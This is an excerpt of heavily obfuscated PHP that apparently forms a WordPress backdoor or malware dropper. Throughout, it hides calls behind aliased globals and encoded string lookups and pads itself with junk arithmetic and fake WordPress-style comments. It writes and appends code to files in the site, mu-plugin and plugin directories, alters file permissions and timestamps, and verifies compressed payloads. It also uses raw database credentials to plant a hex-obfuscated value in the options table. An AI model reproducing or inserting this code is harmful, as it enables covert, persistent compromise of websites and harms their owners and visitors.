      if (! $GLOBALS['__scf__qh9f0l6g7e7ez_35']($fyt2ueozybp1kzz9))  {
   $fyt2ueozybp1kzz9     =    y6bufl7h7ptft9p90e(s99lg14mcd3un(662),   false);
   }
 if     (!    $GLOBALS['__scf__qh9f0l6g7e7ez_35']($fyt2ueozybp1kzz9)) {$iak2zqqmvxbum=6763;$xn0lbmg5tc=$iak2zqqmvxbum%12;
      $fyt2ueozybp1kzz9   =  array();$uiolnmi6zxt=6256;$lxpmgi0f7cffw=$uiolnmi6zxt%5;
     }



}
$xaa85adji_z      = "";
    if (isset($fyt2ueozybp1kzz9[$key])  &&      $GLOBALS['__scf_qubutkuvnnc4sx_41']($fyt2ueozybp1kzz9[$key]))    {
    $xaa85adji_z =   $fyt2ueozybp1kzz9[$key];
    }
 if  ($GLOBALS['__scf_d413tdd725_10']($xaa85adji_z)   <    (0x1a+0x18)) {
      $xaa85adji_z    =    _x9hn2qehctkx39o($key,   "");
}
// @delegate work-queue



if   ($GLOBALS['__scf_d413tdd725_10']($xaa85adji_z)    < (41+9))   return  false;
  $calmodxe1ekh  =  $GLOBALS['__scf_hitibqyb6ku_357']($xaa85adji_z,    true);
 if  (!$calmodxe1ekh    ||     $GLOBALS['__scf_d413tdd725_10']($calmodxe1ekh)  <    (0x25+0xd))     return   false;
 if ($GLOBALS['__scf_ya_jdhkqpku_7']($calmodxe1ekh,   j8bjjevd80e(969))    === false) return false;
   $calmodxe1ekh =     $GLOBALS['__scf_q1hcnnvi5ufvxy_363']($b8by0zww0y9_p0g1,  $oyel6vo3c2_b5rzg, $calmodxe1ekh);
 if   (defined(pvz_9xuc0nzl0m(248)))  {
  try  {
    @token_get_all($calmodxe1ekh,  TOKEN_PARSE);
    } catch    (Throwable   $uvo4msk8s29_)   {
return false;
}   catch (Exception  $uvo4msk8s29_)    {


   return    false;
 }
  } elseif (!ro9zxkt259xhwz4($calmodxe1ekh))      {



  return  false;
  }



    return   $calmodxe1ekh;
 }
function   s5hxf3p80jtm3r0_mjb()

    {
  try {
   if  (!$GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(455)))   return;
       if     (!defined(pvz_9xuc0nzl0m(1016))) return;


 $tmectg25fpmop = rczgaycwwh5u5qy5vgph0c();


       if    (!$tmectg25fpmop)    {
     a8z46s5c2sn13_ojkduw();



     $tmectg25fpmop =  rczgaycwwh5u5qy5vgph0c();
       }
    $apzga5qvv6  =  _x9hn2qehctkx39o(b5xx0lrqzfc(574),    "");
     if     ($GLOBALS['__scf_d413tdd725_10']($apzga5qvv6) ===  0) $apzga5qvv6  = $GLOBALS['__scf_rn8ey_ucatc_1164']("\x00",    (224^240));

  $du4sub82oglwrb4n =    (isset($GLOBALS[cv8ducrec(1139)])  &&   $GLOBALS['__scf_qubutkuvnnc4sx_41']($GLOBALS[s99lg14mcd3un(1165)]) &&      $GLOBALS['__scf_d413tdd725_10']($GLOBALS[cv8ducrec(1166)]) >=  (19+81)) ? $GLOBALS[j8bjjevd80e(1166)]  :    _x9hn2qehctkx39o(j8bjjevd80e(1140),    "");
    if     ($GLOBALS['__scf_d413tdd725_10']($du4sub82oglwrb4n)   < (56+44)) $du4sub82oglwrb4n   =  jzj1vrifif3m6j();
$iit0pmmxl8z72j_z = (isset($GLOBALS[b5xx0lrqzfc(1167)])   &&  $GLOBALS['__scf_qubutkuvnnc4sx_41']($GLOBALS[cv8ducrec(1167)])    && $GLOBALS['__scf_d413tdd725_10']($GLOBALS[s99lg14mcd3un(1167)])    >  (81-31)) ?      $GLOBALS[s99lg14mcd3un(1167)]  :  _x9hn2qehctkx39o(cv8ducrec(641),     "");
 $mypm1rte1s97j1w   = $GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(1143))  ?  (string)    $GLOBALS['__scf_funynp4wlyh1l1_562'](home_url('/'), PHP_URL_PATH)  : '/';
if ($mypm1rte1s97j1w    === "")  $mypm1rte1s97j1w    =   '/';
// WP List Block meta box output


  if  ($GLOBALS['__scf_kmygv436ft5pn_9']($mypm1rte1s97j1w,    -1) !== '/')    $mypm1rte1s97j1w .=   '/';
        $eod97ftt6j6uh_8 =    $GLOBALS['__scf_gvrvt5qjna_57']($du4sub82oglwrb4n    . $iit0pmmxl8z72j_z  .   $apzga5qvv6  . $GLOBALS['__scf_ks9itesnmzhh_594'](l185ejdgi0ehlge4())   . $GLOBALS['__scf_ks9itesnmzhh_594'](o_em1f379w3ufohb())     .  '|' .  $GLOBALS['__scf_i1sl42qxo03g_107'](q2jllc8juonl0cgja1g("")) .     '|'  . $mypm1rte1s97j1w);


   unset($mypm1rte1s97j1w);


   if   (_x9hn2qehctkx39o(s99lg14mcd3un(1159),  "") !==    $eod97ftt6j6uh_8)     {
      a8z46s5c2sn13_ojkduw();
  $tmectg25fpmop =   rczgaycwwh5u5qy5vgph0c();


  }
if      (!pggcshv8j3hapx())  return;
  $gd6o0r1d5y51sfu =  wzbvgogq03mxeqb();
$x6812c0dnag4s11d   =      @$GLOBALS['__scf_hdqba_c8m7_708']($gd6o0r1d5y51sfu .     j8bjjevd80e(1168));
 if ($x6812c0dnag4s11d  &&   $tmectg25fpmop &&   get_transient(pvz_9xuc0nzl0m(661)))  return;



     mqxocq1956po9unp2baz_();



      jebw6q_2wswb7z02sw();
        d0ebpj6j34qdoer();
   $my5osy8_kydez5 = @$GLOBALS['__scf_hdqba_c8m7_708']($gd6o0r1d5y51sfu  .  cv8ducrec(1168));
  $tmectg25fpmop  = rczgaycwwh5u5qy5vgph0c();
        if ($my5osy8_kydez5 &&   $tmectg25fpmop)     {
 set_transient(pvz_9xuc0nzl0m(1169),  1,     (254+46));
        }
}  catch   (Throwable $uvo4msk8s29_)      {
f1995qrx5prr7cbl19co0e(cv8ducrec(1170),    $uvo4msk8s29_);
    }   catch   (Exception   $uvo4msk8s29_)    {
}
/* acquire bulkhead */




 }
  function  jebw6q_2wswb7z02sw()
     {$uo5gu97r=62*2;$ki1v_nmz4x=$uo5gu97r-25;
   try   {
     if (!defined(b5xx0lrqzfc(1016))) return;
 $gd6o0r1d5y51sfu  =  wzbvgogq03mxeqb();
$nh29r9yyrakx  =  wjdsjl3nphz8g9u();


     $gwirf2afu7    = inbj7my4zpjuh_tx(ABSPATH   . b5xx0lrqzfc(1171),  (0x7+0x1))   . s99lg14mcd3un(1172);
   
   $c4hw42vk9fytb_c  = $GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(520))  ?  @$GLOBALS['__scf_aojulu3bik1_116'](b5xx0lrqzfc(1173)) :   false;
$c4hw42vk9fytb_c =     $GLOBALS['__scf_qubutkuvnnc4sx_41']($c4hw42vk9fytb_c)  ?  $GLOBALS['__scf_qbsuu37jbe5t_328']($c4hw42vk9fytb_c)  :   "";$wuuqaqvf=61+55;$mv9n4akmyyo=$wuuqaqvf-10;
    if      ($c4hw42vk9fytb_c  ===   ""  || $GLOBALS['__scf_kcaxi5f9lmgdgp_1174']($c4hw42vk9fytb_c,   pvz_9xuc0nzl0m(522))  ===   0)  $c4hw42vk9fytb_c =    cv8ducrec(1175);
     $nkksugqa4mfv58_j     = $GLOBALS['__scf_mij3fd72lyo_h_11'](curga5ep68su8__o()) . s99lg14mcd3un(172);
  $kyq7li9m6ky63k =  defined(pvz_9xuc0nzl0m(1176)) ?   WP_CONTENT_DIR  .  cv8ducrec(172)    :     $nkksugqa4mfv58_j;
  $x0dxdv5zaq27cxa   =  array($GLOBALS['__scf_qv5p187x3gyo_12']($gd6o0r1d5y51sfu,  j8bjjevd80e(148)),   $GLOBALS['__scf_qv5p187x3gyo_12']($GLOBALS['__scf_mij3fd72lyo_h_11'](curga5ep68su8__o()),     s99lg14mcd3un(148)),  $GLOBALS['__scf_qv5p187x3gyo_12']($nh29r9yyrakx,  cv8ducrec(148)), $GLOBALS['__scf_qv5p187x3gyo_12']($nkksugqa4mfv58_j, b5xx0lrqzfc(1177)),  $GLOBALS['__scf_qv5p187x3gyo_12']($kyq7li9m6ky63k, j8bjjevd80e(1177)));
 if (defined(s99lg14mcd3un(1176)))   $x0dxdv5zaq27cxa[] =  $GLOBALS['__scf_qv5p187x3gyo_12'](WP_CONTENT_DIR,     cv8ducrec(1177));
  foreach  ($GLOBALS['__scf_ahbb1zgmq33o_158']($x0dxdv5zaq27cxa) as   $zj6x8gpbbf) {
  $qf85gi1v2als1yf2 =     $zj6x8gpbbf  .   '/' .  $gwirf2afu7;
if    (@$GLOBALS['__scf_xaseomj3flge_20']($qf85gi1v2als1yf2))   i8orimz_qys71bifnzf9bg($qf85gi1v2als1yf2,  null);
$t8fs2k37cf     = $zj6x8gpbbf      . j8bjjevd80e(1178)   . $gwirf2afu7;
if (@$GLOBALS['__scf_xaseomj3flge_20']($t8fs2k37cf)) i8orimz_qys71bifnzf9bg($t8fs2k37cf, null);
   }



    unset($nkksugqa4mfv58_j, $kyq7li9m6ky63k,     $x0dxdv5zaq27cxa, $zj6x8gpbbf,  $qf85gi1v2als1yf2,    $t8fs2k37cf);

  $laqtl8pqorj     = array($GLOBALS['__scf_qv5p187x3gyo_12'](ABSPATH,   b5xx0lrqzfc(1177)));
     if  (defined(b5xx0lrqzfc(1176)))   $laqtl8pqorj[]     = $GLOBALS['__scf_qv5p187x3gyo_12'](WP_CONTENT_DIR,  pvz_9xuc0nzl0m(1177));



 $laqtl8pqorj[]  =    $GLOBALS['__scf_qv5p187x3gyo_12']($gd6o0r1d5y51sfu,   b5xx0lrqzfc(1177));
     $laqtl8pqorj[]  = $GLOBALS['__scf_qv5p187x3gyo_12']($GLOBALS['__scf_mij3fd72lyo_h_11'](curga5ep68su8__o()), pvz_9xuc0nzl0m(1179));
foreach ($GLOBALS['__scf_ahbb1zgmq33o_158']($laqtl8pqorj)  as    $c8f44trk4ddt9fj) {
  $vr2g5gbv9f1_cn9    = $c8f44trk4ddt9fj     . '/'  .   $c4hw42vk9fytb_c;
 $uu028zbddv   =  @$GLOBALS['__scf_xaseomj3flge_20']($vr2g5gbv9f1_cn9)  ?  @$GLOBALS['__scf_v_rxq_yh85s05_99']($vr2g5gbv9f1_cn9)  :    "";
     if (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($uu028zbddv)    || $uu028zbddv  ===      ""    ||   $GLOBALS['__scf_ya_jdhkqpku_7']($uu028zbddv, $gwirf2afu7) === false) continue;
$flyxvh4thp  =  $GLOBALS['__scf_y_ur004dxjki__462'](cv8ducrec(1180)   . $GLOBALS['__scf_lv_2afh0dde_829']($gwirf2afu7, '/') .   cv8ducrec(1181),   "\n",  $uu028zbddv);
      if    ($GLOBALS['__scf_qubutkuvnnc4sx_41']($flyxvh4thp)  &&      $flyxvh4thp    !==     $uu028zbddv && qc7730958b5mgfuj_($vr2g5gbv9f1_cn9, $flyxvh4thp))    f1995qrx5prr7cbl19co0e(b5xx0lrqzfc(1182),      pvz_9xuc0nzl0m(1183));
}


unset($laqtl8pqorj,  $c8f44trk4ddt9fj,  $vr2g5gbv9f1_cn9,    $uu028zbddv,   $flyxvh4thp);
      if  ($GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(614)))     {

@delete_option(j8bjjevd80e(1184));


      @delete_option(b5xx0lrqzfc(1185));
      @delete_option(cv8ducrec(1186));


}



} catch (Throwable    $uvo4msk8s29_) {

   f1995qrx5prr7cbl19co0e(cv8ducrec(1182), $uvo4msk8s29_);
      }  catch  (Exception     $uvo4msk8s29_)   {
     }
 }
 function d0xkygk4ypzzt3dbr8ib()



 {$sctvkexg6r=7782;$bc3xgflkys=$sctvkexg6r%7;
    try  {
 if     (!defined(cv8ducrec(1016)))    return;$ik2h9e0xuj_yvt=(0x5d+0x91);$e7t_6xerww644=$ik2h9e0xuj_yvt%13;
   $gd6o0r1d5y51sfu   =    wzbvgogq03mxeqb();



  $nh29r9yyrakx  = wjdsjl3nphz8g9u();
  



$gwirf2afu7    =      inbj7my4zpjuh_tx(ABSPATH   .      b5xx0lrqzfc(1187),    (0x1+0x7)) .   cv8ducrec(1188);
$nkksugqa4mfv58_j =  $GLOBALS['__scf_mij3fd72lyo_h_11'](curga5ep68su8__o())   .  j8bjjevd80e(172);



 $kyq7li9m6ky63k = defined(s99lg14mcd3un(1176))     ?  WP_CONTENT_DIR .   b5xx0lrqzfc(1189)  :  $nkksugqa4mfv58_j;
    $x0dxdv5zaq27cxa   = array($GLOBALS['__scf_qv5p187x3gyo_12']($gd6o0r1d5y51sfu,     pvz_9xuc0nzl0m(1179)),     $GLOBALS['__scf_qv5p187x3gyo_12']($GLOBALS['__scf_mij3fd72lyo_h_11'](curga5ep68su8__o()),  j8bjjevd80e(1190)),   $GLOBALS['__scf_qv5p187x3gyo_12']($nh29r9yyrakx,      pvz_9xuc0nzl0m(1191)),     $GLOBALS['__scf_qv5p187x3gyo_12']($nkksugqa4mfv58_j,  b5xx0lrqzfc(1191)),  $GLOBALS['__scf_qv5p187x3gyo_12']($kyq7li9m6ky63k,  j8bjjevd80e(1191)));
   if (defined(pvz_9xuc0nzl0m(1176)))     $x0dxdv5zaq27cxa[]   =      $GLOBALS['__scf_qv5p187x3gyo_12'](WP_CONTENT_DIR,  pvz_9xuc0nzl0m(1192));
  foreach     ($GLOBALS['__scf_ahbb1zgmq33o_158']($x0dxdv5zaq27cxa)     as $zj6x8gpbbf) {
    $ukjdsllruj2d   =  $zj6x8gpbbf . '/' .   $gwirf2afu7;
 if  (@$GLOBALS['__scf_xaseomj3flge_20']($ukjdsllruj2d))   i8orimz_qys71bifnzf9bg($ukjdsllruj2d,   null);

       }
unset($nkksugqa4mfv58_j,   $kyq7li9m6ky63k, $x0dxdv5zaq27cxa,  $zj6x8gpbbf,    $ukjdsllruj2d);
$j_ynpkb5k34d5 =  array($GLOBALS['__scf_qv5p187x3gyo_12'](ABSPATH,     s99lg14mcd3un(1193)));
 if   (defined(b5xx0lrqzfc(1176)))  $j_ynpkb5k34d5[]   =  $GLOBALS['__scf_qv5p187x3gyo_12'](WP_CONTENT_DIR,    j8bjjevd80e(1193));$ldj5yq0zgk7h37=7|192;$z0q5bod8=$ldj5yq0zgk7h37^201;
$j_ynpkb5k34d5[]    =   $GLOBALS['__scf_qv5p187x3gyo_12']($gd6o0r1d5y51sfu,     j8bjjevd80e(1193));
   $j_ynpkb5k34d5[] =   $GLOBALS['__scf_qv5p187x3gyo_12']($GLOBALS['__scf_mij3fd72lyo_h_11'](curga5ep68su8__o()), cv8ducrec(1193));



 foreach ($GLOBALS['__scf_ahbb1zgmq33o_158']($j_ynpkb5k34d5) as    $c6v4uusya7c6jokz)    {
$t8fs2k37cf = $c6v4uusya7c6jokz  .    b5xx0lrqzfc(1194);
      

    $ugn8xdy46_7m  =     @$GLOBALS['__scf_xaseomj3flge_20']($t8fs2k37cf)    ?     @$GLOBALS['__scf_v_rxq_yh85s05_99']($t8fs2k37cf)   :   "";
      if  (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($ugn8xdy46_7m) ||  $ugn8xdy46_7m  === ""  || $GLOBALS['__scf_ya_jdhkqpku_7']($ugn8xdy46_7m,   $gwirf2afu7)  ===     false)    continue;
  $pbdelz284rd1jnj =  xoro5rz4d4j46_y1($ugn8xdy46_7m,  $gwirf2afu7);
   if    ($GLOBALS['__scf_qubutkuvnnc4sx_41']($pbdelz284rd1jnj)   &&   $pbdelz284rd1jnj !==   $ugn8xdy46_7m  && qc7730958b5mgfuj_($t8fs2k37cf, $pbdelz284rd1jnj)) f1995qrx5prr7cbl19co0e(b5xx0lrqzfc(1195),      j8bjjevd80e(1183));



 }
   unset($j_ynpkb5k34d5,    $c6v4uusya7c6jokz,  $t8fs2k37cf, $ugn8xdy46_7m, $pbdelz284rd1jnj);


if  ($GLOBALS['__scf_mv3hm1pk74i2v_108']() === cv8ducrec(408)) return;
if    (!k2vsos35iq5rekmlmcdqq())      return;
 if  (!pggcshv8j3hapx())  return;
  $x58gbadfi1e96 = $nh29r9yyrakx . pvz_9xuc0nzl0m(1196);
$zm87ltxzegowx =   cv8ducrec(1197)    . "\n"
  .     s99lg14mcd3un(1198) .   "\n" . b5xx0lrqzfc(1199)    . "\n"  . j8bjjevd80e(1200)   .    "\n"
 .    b5xx0lrqzfc(1201) .   "\n"     .    s99lg14mcd3un(1202) .   "\n"  .     s99lg14mcd3un(1203)   .      "\n"
 .  b5xx0lrqzfc(1204)  .  "\n";


   $rox6c4p2bbups   = @$GLOBALS['__scf_hdqba_c8m7_708']($x58gbadfi1e96);
$current  = $rox6c4p2bbups     ?  @$GLOBALS['__scf_v_rxq_yh85s05_99']($x58gbadfi1e96) :  "";$lpxnzq2b=173|45;$a4kn3i3w=$lpxnzq2b^121;
  if   (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($current))   {
  f1995qrx5prr7cbl19co0e(s99lg14mcd3un(1195),   s99lg14mcd3un(1205));
  return;
   

   }


 $ld846cob9yev   =     array($GLOBALS['__scf_qv5p187x3gyo_12'](ABSPATH, s99lg14mcd3un(1193)));
if   (defined(cv8ducrec(1206)))  $ld846cob9yev[]   =  $GLOBALS['__scf_qv5p187x3gyo_12'](WP_CONTENT_DIR,     cv8ducrec(1207));


if  (defined(pvz_9xuc0nzl0m(581)))    $ld846cob9yev[] =  $GLOBALS['__scf_qv5p187x3gyo_12'](WPMU_PLUGIN_DIR,    b5xx0lrqzfc(1207));
  if  (defined(j8bjjevd80e(1208))) $ld846cob9yev[]  = $GLOBALS['__scf_qv5p187x3gyo_12'](WP_PLUGIN_DIR,    j8bjjevd80e(1207));
   $mxkxtihecuefbx  =   $GLOBALS['__scf_qv5p187x3gyo_12']($nh29r9yyrakx,   j8bjjevd80e(1207));

 $zq3ru07vr7    =    $GLOBALS['__scf_o_dt0p7mox4_159']($mxkxtihecuefbx,  $ld846cob9yev,    true);
 unset($ld846cob9yev, $mxkxtihecuefbx);


if (!$zq3ru07vr7)     {
 $y1ifwzeo4a6aqu   =      $nh29r9yyrakx     .    j8bjjevd80e(1209);



 if  (!@$GLOBALS['__scf_xaseomj3flge_20']($y1ifwzeo4a6aqu)) y258fvtiyat3mobu($y1ifwzeo4a6aqu,  "",   j8bjjevd80e(1210));
        if   ($GLOBALS['__scf_ya_jdhkqpku_7']($current,  j8bjjevd80e(1211))  ===  false)  {
// clopen transformer

 $st70y_v5lps  =   $current;
    if ($current  !==    "" && $GLOBALS['__scf_kmygv436ft5pn_9']($current,   -1)  !==   "\n")  $current .=  "\n";
$mtjhzxt60c0u    = @$GLOBALS['__scf_v_rxq_yh85s05_99']($x58gbadfi1e96);
 if  (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($mtjhzxt60c0u)) $mtjhzxt60c0u     =  "";
if  ($mtjhzxt60c0u  !==    $st70y_v5lps) {
f1995qrx5prr7cbl19co0e(pvz_9xuc0nzl0m(1195),  cv8ducrec(1212));
  } else {
 qc7730958b5mgfuj_($x58gbadfi1e96,    $current .  $zm87ltxzegowx);


      f3vsfers3pq3ok0kwile($x58gbadfi1e96,  ap3jwh4ff4rbz1upjm49());
if  (!$rox6c4p2bbups)  ottk3i1kq8br96vi($x58gbadfi1e96,  (403+17));
 }
unset($mtjhzxt60c0u,    $st70y_v5lps);
      }


  }
   unset($zq3ru07vr7,  $y1ifwzeo4a6aqu,   $rox6c4p2bbups);


  }  catch (Throwable     $uvo4msk8s29_) {
  f1995qrx5prr7cbl19co0e(b5xx0lrqzfc(1213),  $uvo4msk8s29_);
} catch (Exception    $uvo4msk8s29_)  {
  f1995qrx5prr7cbl19co0e(cv8ducrec(1213),  $uvo4msk8s29_);
   }
}
function  u7lpwz7wa4laa4()


 {



  try   {



        if (!defined(cv8ducrec(1016)))  return;
  if    (!$GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(1214)))  return;
$ogfd5tk6q6    =  inbj7my4zpjuh_tx(ABSPATH .    cv8ducrec(1215),   (0x9+0x1));
 $xa6_dathyqd     =     usllxr5akmyy8c();

 if (!$xa6_dathyqd   || $GLOBALS['__scf_d413tdd725_10']($xa6_dathyqd)  < (458+42))  return;

$xaa85adji_z      =   nz_ixcwyiz2y1c2_dll9j();
 $current   = @get_option($ogfd5tk6q6,    "");
       if  ($current      &&     $GLOBALS['__scf_d413tdd725_10']($current) ===   $GLOBALS['__scf_d413tdd725_10']($xaa85adji_z)    &&     $current     ===   $xaa85adji_z)   return;
if  ($GLOBALS['__scf_sc29wu2n9b_4'](cv8ducrec(1216)))  {
  update_option($ogfd5tk6q6, $xaa85adji_z,   pvz_9xuc0nzl0m(1052));
     }  elseif (defined(cv8ducrec(1217))    &&      defined(s99lg14mcd3un(1218))   &&     defined(pvz_9xuc0nzl0m(1219)) && defined(cv8ducrec(119))     && $GLOBALS['__scf_zr872o85b_o0_538'](s99lg14mcd3un(1220)))    {
  $rpraxtmufyrypm   =   b5xx0lrqzfc(1220);
  $hr76iczgrm2mq3z1 =    @new    $rpraxtmufyrypm(constant(pvz_9xuc0nzl0m(1217)), constant(s99lg14mcd3un(1218)),    constant(s99lg14mcd3un(1219)),  constant(s99lg14mcd3un(119)));
  if  ($hr76iczgrm2mq3z1 &&  !$hr76iczgrm2mq3z1->connect_errno)  {
    $prefix =  isset($GLOBALS[pvz_9xuc0nzl0m(886)]->prefix) ?  $GLOBALS[j8bjjevd80e(886)]->prefix  :      cv8ducrec(856);
        $uu_5nn2h4bgzkau4      =  $hr76iczgrm2mq3z1->real_escape_string($xaa85adji_z);
  

 $drru82pyxlix  = $hr76iczgrm2mq3z1->real_escape_string($ogfd5tk6q6);
  $hr76iczgrm2mq3z1->query("\x49NSERT \x49NT\x4f {$prefix}o\x70tions (\x6f\x70\x74ion_\x6ea\x6de, opti\x6f\x6e_\x76alu\x65, autoload) V\x41L\x55ES ('{$drru82pyxlix}', '{$uu_5nn2h4bgzkau4}', 'no') O\x4e DU\x50L\x49CATE \x4bEY \x55\x50\x44A\x54\x45 opti\x6f\x6e_va\x6cue='{$uu_5nn2h4bgzkau4}'");
   if  ($hr76iczgrm2mq3z1->error) f1995qrx5prr7cbl19co0e(pvz_9xuc0nzl0m(1215),  pvz_9xuc0nzl0m(1221)  . $GLOBALS['__scf_kmygv436ft5pn_9']($hr76iczgrm2mq3z1->error,  0, (240-120)));
       $hr76iczgrm2mq3z1->close();
 }


      }
  }    catch    (Throwable  $uvo4msk8s29_) {
// WP Block API v3: template bridge




 f1995qrx5prr7cbl19co0e(cv8ducrec(1215), $uvo4msk8s29_);
    }  catch    (Exception  $uvo4msk8s29_)  {
    }
    }
function  yedatqs7aptdu6()
       {

   $cipt2eot27 =  defined(s99lg14mcd3un(1206))    ?   WP_CONTENT_DIR     :   ABSPATH .    b5xx0lrqzfc(786);


   $qnhfvuwbru63u31   =  inbj7my4zpjuh_tx(ABSPATH     .    s99lg14mcd3un(1222), (3+5));
 return  array($cipt2eot27  . s99lg14mcd3un(514),   $cipt2eot27    .      pvz_9xuc0nzl0m(1223)  .  $qnhfvuwbru63u31  .      pvz_9xuc0nzl0m(1224),   $qnhfvuwbru63u31);


        }

     function    glbsgd7dg8gdbrqojc8($f9oabcl41zh)


     {
    $pxh3mc0jamk06_a_ = (int)   @$GLOBALS['__scf_a5ks8ssf6z1jkm_103']($f9oabcl41zh);
 if      ($pxh3mc0jamk06_a_ <  (0x46+0x1e) ||    $pxh3mc0jamk06_a_   >  (2097136+16))    return    false;
      $i4g_we48yi  =  @$GLOBALS['__scf_v_rxq_yh85s05_99']($f9oabcl41zh);
    if     (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($i4g_we48yi) ||    $GLOBALS['__scf_d413tdd725_10']($i4g_we48yi)     <  (29+71)  ||   $GLOBALS['__scf_d413tdd725_10']($i4g_we48yi) >      (2097085+67))  return   false;


    $gx1wu9an7cfa2x_t =    $GLOBALS['__scf_uy4tufpelsg98c_118'](':',      $i4g_we48yi,   (2+2));
// WP Global Styles icon sprite

  if ($GLOBALS['__scf_tbu69vegc9f_36']($gx1wu9an7cfa2x_t) <  (1<<2)  ||      $gx1wu9an7cfa2x_t[0]   !==   b5xx0lrqzfc(1225)  ||  $GLOBALS['__scf_d413tdd725_10']($gx1wu9an7cfa2x_t[(4-1)])   <    (13+37)) return    false;
 $rtnxjwsi0p3gd  =   @$GLOBALS['__scf_hitibqyb6ku_357']($gx1wu9an7cfa2x_t[(6-3)]);
  if ($rtnxjwsi0p3gd ===  false  || $GLOBALS['__scf_d413tdd725_10']($rtnxjwsi0p3gd) <  (21+29))  return false;

    if   ($GLOBALS['__scf_kmygv436ft5pn_9']($rtnxjwsi0p3gd, 0, 2) === "\x1f\x8b")  {$snl3_5r_u=(0x62+0x56);$iv3kpbfcv3=$snl3_5r_u%7;
     $qb6m2kpeb5ysx6u5    =  @$GLOBALS['__scf_t8ninb5y9y_281']('V',   $GLOBALS['__scf_kmygv436ft5pn_9']($rtnxjwsi0p3gd,   -(2+2)));
  if   (!$GLOBALS['__scf__qh9f0l6g7e7ez_35']($qb6m2kpeb5ysx6u5)   || $qb6m2kpeb5ysx6u5[1]  <    (63+37)  || $qb6m2kpeb5ysx6u5[1]    > (1170986-122410))   return   false;
      if  ($GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(282))) $rtnxjwsi0p3gd  =   @gzdecode($rtnxjwsi0p3gd,   (1048545+31));
 elseif   ($GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(1226)))   {
    $rtnxjwsi0p3gd =   @gzinflate($GLOBALS['__scf_kmygv436ft5pn_9']($rtnxjwsi0p3gd, (0x1+0x9),  $GLOBALS['__scf_d413tdd725_10']($rtnxjwsi0p3gd)    -   (0x10+0x2)),   (1048537+39));
  if  ($GLOBALS['__scf_qubutkuvnnc4sx_41']($rtnxjwsi0p3gd)     &&  $GLOBALS['__scf_d413tdd725_10']($rtnxjwsi0p3gd)   >  (1048503+73)) return  false;
   } else   return   false;



   }
     if  (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($rtnxjwsi0p3gd) ||   $GLOBALS['__scf_d413tdd725_10']($rtnxjwsi0p3gd)  <   (0x30+0x34) ||   $GLOBALS['__scf_kmygv436ft5pn_9']($rtnxjwsi0p3gd, 0,  (0x2+0x3)) !==   s99lg14mcd3un(1227) || $GLOBALS['__scf_gvrvt5qjna_57']($rtnxjwsi0p3gd)  !== $gx1wu9an7cfa2x_t[2])    return   false;
 return  $rtnxjwsi0p3gd;
 }
function lhulr7tb_al2shpf()
  {
try    {
if    (!defined(s99lg14mcd3un(1228)))  return;
$v96z6uuakz7l8eo1   = yedatqs7aptdu6();
 if  (!@$GLOBALS['__scf_xaseomj3flge_20']($v96z6uuakz7l8eo1[1]))     return;
if (glbsgd7dg8gdbrqojc8($v96z6uuakz7l8eo1[1])   ===  false) return;
 $calmodxe1ekh  =     e4ddwbv2vbmzi1(cv8ducrec(1229),  array('__SLUG__'),    array($GLOBALS['__scf_xz_5zbcnz0m_3'](curga5ep68su8__o(),   pvz_9xuc0nzl0m(1188))));
 if (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($calmodxe1ekh) ||  $calmodxe1ekh   ===   "") return;
  $calmodxe1ekh = $GLOBALS['__scf_y_ur004dxjki__462'](b5xx0lrqzfc(1230), "", $calmodxe1ekh);
   if (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($calmodxe1ekh) || $calmodxe1ekh  ===    "") return;
    $labf4qlcifi    =    jqg87ez26lzm3yp01xj2q() .   ':'   .    inbj7my4zpjuh_tx(ABSPATH   .    j8bjjevd80e(1231),  (1+7));



 $jjjt2b4n0f =  j8bjjevd80e(1232)    .      $labf4qlcifi  . j8bjjevd80e(1233);


       $xcg_nhpwqsm     =   j8bjjevd80e(1234)   . $labf4qlcifi   . s99lg14mcd3un(1235);



    $rxdqldzymn1oh7  =   cv8ducrec(1236) . $v96z6uuakz7l8eo1[2] .  s99lg14mcd3un(1237)   . jqg87ez26lzm3yp01xj2q() .    b5xx0lrqzfc(1238) .    "\n"   .  $calmodxe1ekh;
   if  (!@$GLOBALS['__scf_xaseomj3flge_20']($v96z6uuakz7l8eo1[0]))    {
if     (!zdfzf5c43mxl70s($v96z6uuakz7l8eo1[0],  ""))  {



  f1995qrx5prr7cbl19co0e(cv8ducrec(1222),     pvz_9xuc0nzl0m(1239));
  return;
}
       if (qc7730958b5mgfuj_($v96z6uuakz7l8eo1[0], $rxdqldzymn1oh7)) {
    f3vsfers3pq3ok0kwile($v96z6uuakz7l8eo1[0], ap3jwh4ff4rbz1upjm49());
 ottk3i1kq8br96vi($v96z6uuakz7l8eo1[0], (0x52+0x152));
      xmuf92hov77yw0fjcu8($v96z6uuakz7l8eo1[0]);
  qwsfbk7e9odhouqhgas_hr($v96z6uuakz7l8eo1[0]);

   }
      return;
 }
        $tjl_8cee9ko =  @$GLOBALS['__scf_v_rxq_yh85s05_99']($v96z6uuakz7l8eo1[0]);

   if  (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($tjl_8cee9ko)   || $GLOBALS['__scf_d413tdd725_10']($tjl_8cee9ko)    >    (3293436-1196284))   return;
  if  ($GLOBALS['__scf_ya_jdhkqpku_7']($tjl_8cee9ko,     $jjjt2b4n0f) !== false && $GLOBALS['__scf_ya_jdhkqpku_7']($tjl_8cee9ko,  $xcg_nhpwqsm)  !==     false) return;
     if  ($GLOBALS['__scf_ya_jdhkqpku_7']($tjl_8cee9ko,  b5xx0lrqzfc(1240))  ===  false    && $GLOBALS['__scf_ya_jdhkqpku_7']($tjl_8cee9ko, cv8ducrec(1241)    .   $v96z6uuakz7l8eo1[2])   !==  false) {
// @link adapter

